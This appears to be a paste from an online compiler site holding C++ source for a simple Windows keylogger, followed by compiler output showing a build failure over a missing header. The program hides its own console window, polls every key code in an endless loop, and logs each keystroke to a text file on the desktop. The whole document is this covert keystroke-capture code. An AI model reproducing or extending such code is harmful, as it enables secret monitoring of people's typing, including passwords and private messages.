fork download
  1. #include "stdafx.h"
  2. #include<Windows.h>
  3. #include<iostream>
  4. #include <string>
  5. #include <fstream>
  6. #include <conio.h>
  7. using namespace std;
  8.  
  9.  
  10. int main()
  11. {
  12. char d;
  13. ShowWindow(GetConsoleWindow(), SW_HIDE);
  14. setlocale(LC_ALL, "Russian");
  15. ofstream file_one;
  16. file_one.open("C:\\Users\\dmitriy\\Desktop\\test.txt");
  17. while (1)
  18. {
  19. for (int i = 1; i <= 256; i++)
  20. {
  21. if (GetAsyncKeyState(i) & 0x0001)
  22. {
  23.  
  24. d = i;
  25. file_one << d << "|";
  26.  
  27. }
  28. }
  29. }
  30. file_one.close();
  31. return 0;
  32. }
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.cpp:1:20: fatal error: stdafx.h: No such file or directory
 #include "stdafx.h"
                    ^
compilation terminated.
stdout
Standard output is empty